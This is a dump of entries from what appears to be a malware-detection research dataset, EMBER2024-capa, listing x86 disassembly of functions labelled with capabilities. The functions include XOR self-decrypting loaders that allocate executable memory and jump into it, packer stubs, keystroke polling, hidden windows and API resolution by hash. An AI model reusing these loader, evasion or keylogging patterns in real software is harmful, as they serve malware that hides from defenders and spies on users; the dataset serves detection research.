joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40611c
pop dword [ebp - 0x28]
mov eax, 0x9243c4a7
sub eax, 0x9203638b
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xbac42aeb
sub dword [ebp - 0x38], 0x6c71e5a0
mov dword [ebp - 0x34], 0xa6f2c564
sub dword [ebp - 0x34], 0x74bf791f
mov dword [ebp - 0x30], 0x155d4164
sub dword [ebp - 0x30], 0xc910fd36
mov dword [ebp - 0x2c], 0xe9ab034d
add dword [ebp - 0x2c], 0x1654fcb3
lea eax, [ebp - 0x38]
push eax
mov eax, 0x19bf4b1f
add eax, 0xe6812541
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x5352681c
sub dword [ebp - 0x38], 0xdedffec6
mov dword [ebp - 0x34], 0x392b7b3c
add dword [ebp - 0x34], 0x840e639
mov dword [ebp - 0x30], 0x848412fd
add dword [ebp - 0x30], 0xdeeb596f
mov dword [ebp - 0x2c], 0x8f43860d
add dword [ebp - 0x2c], 0x70bc79f3
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x4170fcf1
add eax, 0xbecf740f
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3a7a3
push 0
call eax
mov ecx, 0x8e3d1655
add ecx, 0x71c34125
xor edi, edi
add edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x28]
mov esi, 0x2b08d90c
add esi, 0x91d5753
xor dword [ebp - 0x10], 0xdafe944b
mov edx, dword [ebx]
add dword [ebp - 8], 0x2f0e240b
add edx, esi
xor dword [ebp - 0x1c], 0xbf4a3724
mov dword [edi], edx
xor dword [ebp - 0x14], ecx
add edi, 0xe416ba7f
add edi, 0x1be94585
add ebx, 0xf57b3438
add ebx, 0xa84cbcc
loop 0x40623a
add eax, 0x12d7b051
sub eax, 0x12d65f96
mov ebx, eax
add eax, 0x261fbb90
sub eax, 0x261fbb8b
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401aa1
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x4012
mov edx, 0xffffffff
mov eax, edx
push eax
call dword [sym.imp.user32.dll_GetAsyncKeyState]
mov dword [0x432c3f], eax
mov ecx, 0
mov eax, ecx
mov edx, 0xffffffff
mov ecx, edx
push ecx
call dword [sym.imp.user32.dll_GetAsyncKeyState]
mov dword [0x432085], eax
push 0xef0d
pop eax
mov eax, 0x771
inc eax
add eax, eax
mov ebx, eax
rol ebx, 6
sub ebx, 0x3ae
js 0x401af4
add ebx, dword [0x432931]
shr ebx, 1
add ebx, edi
rol ebx, 1
sub ebx, dword [0x432c32]
add dword [0x432534], ebx
call fcn.00402a68
mov dword [0x432a5a], eax
mov esi, 0
push esi
mov dword [0x4327cc], 0
mov ecx, dword [0x4327cc]
push ecx
xor ebx, ebx
push ebx
push 0x257e7b
pop edx
mov dword [0x432772], 0x1c5195
add edx, dword [0x432772]
push dword [edx]
pop dword [0x432120]
mov edx, dword [0x432120]
call edx
mov dword [0x43222c], eax
or eax, eax
je 0x401b5b
or eax, eax
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
mov ebx, 0x40915c
nop
mov ecx, 0x4b162e7e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x1023af9
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2ff6739b
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4320d2
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7a5f5a2e
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4038fa
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fa], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404658], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045ec], eax
mov dword [0x4040f2], eax
mov dword [0x4045d8], 0x30
mov dword [0x4045dc], 2
jmp 0x40393f
mov dword [0x4045e0], 0x403153
mov dword [0x4045e4], 0
mov dword [0x4045e8], 0
mov dword [0x404600], 0x40454e
mov dword [0x4045f8], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045f0], eax
mov dword [0x404604], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045f4], eax
push 0x4045d8
fadd dword [ebp + 0x40]
add bh, bh
adc eax, sym.imp.user32.dll_RegisterClassExA
push 0
push dword [0x4040f2]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push 0x40454e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404650], eax
push 5
push dword [0x404650]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404650]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404608]
jmp 0x403a13
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a05
mov eax, dword [0x404610]
jmp 0x403a2e
call 0x402bd5
ret

Function at 0x401656
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
mov eax, 0x404184
push esp
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor eax, eax
mov ax, word [esp + 2]
mov dword [0x404180], eax
xor eax, eax
mov edi, eax
mov dword [ebp - 0x4c], 0x30
mov eax, 3
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 8]
mov dword [0x404170], eax
mov eax, edi
mov dword [ebp - 0x44], 0x401548
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], str.pieta
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push edi
push dword [ebp - 0x38]
push edi
push edi
push 0x190
push 0x258
push 0xffffee08
push 0xffffee6c
push 0
push str.novice
push str.pieta
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push eax
mov dword [0x404178], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x404178]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push edi
push edi
push edi
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
je 0x401740
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x1c]
push eax
call edi
lea ecx, [ebp - 0x1c]
push ecx
call ebx
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
jne 0x401725
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40596d
pop dword [ebp - 0x24]
mov eax, 0xfb374135
sub eax, 0xfaf6e7c8
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf42e341a
add dword [ebp - 0x34], 0x5a241131
mov dword [ebp - 0x30], 0x3a697ef3
add dword [ebp - 0x30], 0xf7c9cd52
mov dword [ebp - 0x2c], 0x1f430956
sub dword [ebp - 0x2c], 0xd2f6c528
mov dword [ebp - 0x28], 0x54281c7a
sub dword [ebp - 0x28], 0x54281c7a
lea eax, [ebp - 0x34]
push eax
mov eax, 0x148b4eb7
add eax, 0xebb521a9
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x88187cf2
sub dword [ebp - 0x34], 0x13a6139c
mov dword [ebp - 0x30], 0x17cbdfff
sub dword [ebp - 0x30], 0xd65f7e8a
mov dword [ebp - 0x2c], 0xc9c2c3ec
add dword [ebp - 0x2c], 0x99aca880
mov dword [ebp - 0x28], 0x2a5362de
add dword [ebp - 0x28], 0xd5ac9d22
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x380ef
push 0
call eax
mov ecx, 0x55b75e74
add ecx, 0xaa48eeea
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x24]
mov edi, 0xaf123402
sub edi, 0x95055c56
xor dword [ebp - 0x18], ecx
mov esi, dword [ebx]
mov dword [ebp - 0x10], 0x5d23421d
add esi, edi
add dword [ebp - 0x1c], 0xe8b6d519
mov dword [edx], esi
sub dword [ebp - 0x10], 0x2cab012a
add edx, 0x5daa548c
sub edx, 0x5daa5488
add ebx, 0xf04d8875
add ebx, 0xfb2778f
loop 0x405a86
add eax, 0x63cc9478
add eax, 0x9c3493d3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xae5eb3a1
sub ecx, 0xae1eb3a1
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40b252
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40b261
pop dword [ebp - 0x44]
mov eax, 0xe688233a
sub eax, 0xe64770d9
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3972f
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0xca483596
add ecx, 0x35b812ec
mov ebx, eax
mov esi, 0x413bc4
add esi, dword [ebp - 0x44]
mov edi, 0xce5f2ea5
xor dword [ebp - 4], 0x2db334e3
mov edx, dword [esi]
add dword [ebp - 0x40], 0x42edbd25
xor edx, edi
mov dword [ebp - 0x1c], 0x10374e59
mov dword [ebx], edx
sub dword [ebp - 0x18], eax
add ebx, 0x9fce3488
add ebx, 0x6031cb7c
add esi, 0x1374f942
sub esi, 0x1374f93e
loop 0x40b2af
add eax, 0xcd974d08
sub eax, 0xcd96382d
mov ebx, eax
add eax, 0xf8337986
sub eax, 0xf8337981
mov ecx, 0x11ed9c3a
sub ecx, 0x11ad9c3a
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
add byte [esi + edi], 0x1c
call ebx
add byte [esi + edi], 0x61
call ebx
xor byte [esi + edi], 0xc4
call ebx
add byte [esi + edi], 0x7a
call ebx
add byte [esi + edi], 0xcd
call ebx
add byte [esi + edi], 5
call ebx
add byte [esi + edi], 0xc5
call ebx
xor byte [esi + edi], 0xa1
call ebx
add byte [esi + edi], 0x9a
call ebx
add byte [esi + edi], 0xb9
call ebx
xor byte [esi + edi], 9
call ebx
add byte [esi + edi], 0x44
call ebx
add byte [esi + edi], 0x59
call ebx
add byte [esi + edi], 0x52
call ebx
add byte [esi + edi], 0xdd
call ebx
add byte [esi + edi], 0xaa
call ebx
xor byte [esi + edi], 0x71
call ebx
add byte [esi + edi], 0x84
call ebx
add byte [esi + edi], 0x10
call ebx
add byte [esi + edi], 7
call ebx
add byte [esi + edi], 0xbf
call ebx
add byte [esi + edi], 0x61
call ebx
add byte [esi + edi], 0xda
call ebx
add byte [esi + edi], 0x55
call ebx
add byte [esi + edi], 0x81
call ebx
xor byte [esi + edi], 0xb3
call ebx
add byte [esi + edi], 0xd8
call ebx
add byte [esi + edi], 0x43
call ebx
add byte [esi + edi], 0x9c
call ebx
add byte [esi + edi], 0xe
call ebx
add byte [esi + edi], 0x2e
call ebx
xor byte [esi + edi], 0x94
call ebx
xor byte [esi + edi], 0x17
call ebx
xor byte [esi + edi], 0xa8
call ebx
add byte [esi + edi], 0x4e
call ebx
add byte [esi + edi], 0xd
call ebx
xor byte [esi + edi], 0x35
call ebx
add byte [esi + edi], 0x87
call ebx
add byte [esi + edi], 0x6b
call ebx
xor byte [esi + edi], 0x13
call ebx
add byte [esi + edi], 0xfc
call ebx
xor byte [esi + edi], 0xc
call ebx
add byte [esi + edi], 0x3b
call ebx
xor byte [esi + edi], 0x4c
call ebx
add byte [esi + edi], 0xe5
call ebx
xor byte [esi + edi], 0x68
call ebx
add byte [esi + edi], 0xb4
call ebx
add byte [esi + edi], 0x92
call ebx
add byte [esi + edi], 0xe
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x42a8ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x12f2514f
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x32022746
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40eddb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40edea
pop dword [ebp - 0x40]
mov eax, 0x67575e1b
add eax, 0x98e98fcf
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3bed8
push 0
mov eax, 0x7adbf20e
add eax, 0x8565e006
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x3e9e540d
add ecx, 0xc161ee18
mov edi, eax
mov edx, 0x436000
add edx, dword [ebp - 0x40]
mov esi, 0x760b9f5f
sub esi, 0x47d69bb
mov ebx, dword [edx]
add dword [ebp - 0x2c], esi
add ebx, esi
xor dword [ebp - 0x20], edx
mov dword [edi], ebx
add dword [ebp - 0x10], edx
add edi, 0xaaf672cb
add edi, 0x55098d39
add edx, 4
loop 0x40ee43
add eax, 0xfb67
mov ebx, eax
add eax, 0x3d4abaa
add eax, 0xfc2b545b
mov ecx, 0x6d8e44e1
sub ecx, 0x6d4e44e1
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x989108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00989258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x98912e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x98911a
add dl, dl
jne 0x989139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x98918c
xor eax, eax
add dl, dl
jne 0x989146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x98922d
add dl, dl
jne 0x989155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x989160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x98916b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x989176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x989182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x989125
mov eax, 1
add dl, dl
jne 0x98919a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9891a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x989191
sub eax, ebx
mov ebx, 1
jne 0x9891d8
mov ecx, 1
add dl, dl
jne 0x9891be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9891c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9891b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x989125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9891ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9891fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9891e6
cmp eax, 0x7d00
jae 0x98921d
cmp eax, 0x500
jb 0x989218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x989125
cmp eax, 0x7f
ja 0x989220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x989125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x98924e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x989125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x5475f1
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x547612
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x547609
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x547601
mov eax, ebx
leave
ret

Function at 0x547638
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x547697
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x5476c4
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x5476b3
xor ecx, eax
xor edx, ebx
dec edi
jne 0x5476a4
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x5476ea
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x54768b
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x401bd7
pop dword [ebp - 0x4c]
mov eax, 0x401bd7
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xb04a58f2
add dword [ebp - 0x5c], 0x9e07ec59
mov dword [ebp - 0x58], 0xe4680937
add dword [ebp - 0x58], 0x4dcb430e
mov dword [ebp - 0x54], 0x44aa9fd8
add dword [ebp - 0x54], 0x7a1a456
mov dword [ebp - 0x50], 0x84d6f34a
add dword [ebp - 0x50], 0x7b290cb6
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x122b0d2a
sub dword [ebp - 0x5c], 0x9db8a3d4
mov dword [ebp - 0x58], 0x41b3d949
add dword [ebp - 0x58], 0xffb8882c
mov dword [ebp - 0x54], 0xc0aeca57
sub dword [ebp - 0x54], 0x5d3f5deb
mov dword [ebp - 0x50], 0x8cb7955c
sub dword [ebp - 0x50], 0x8cb7955c
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x3f58c30a
add eax, 0xc0e7adf6
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x375f7
push 0
call eax
mov ecx, 0x877825b5
sub ecx, 0x8777da84
mov edx, eax
mov ebx, 0xf02e17af
sub ebx, 0xefed17af
add ebx, dword [ebp - 0x4c]
mov edi, 0x2f7d80ff
add edi, 0xa4256acf
add dword [ebp - 0x34], 0xf30bbd1d
mov esi, dword [ebx]
add dword [ebp - 0x14], ecx
xor esi, edi
add dword [ebp - 0x40], 0xb11c83a9
mov dword [edx], esi
mov dword [ebp - 0x40], 0xde17b415
add edx, 0x6e23d5c0
add edx, 0x91dc2a44
add ebx, 4
loop 0x401cef
add eax, 0x1240233
sub eax, 0x122e29c
xor ebx, ebx
add ebx, eax
add eax, 0x4c72607f
sub eax, 0x4c72607a
mov ecx, 0x2cc83c4c
sub ecx, 0x2c883c4c
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret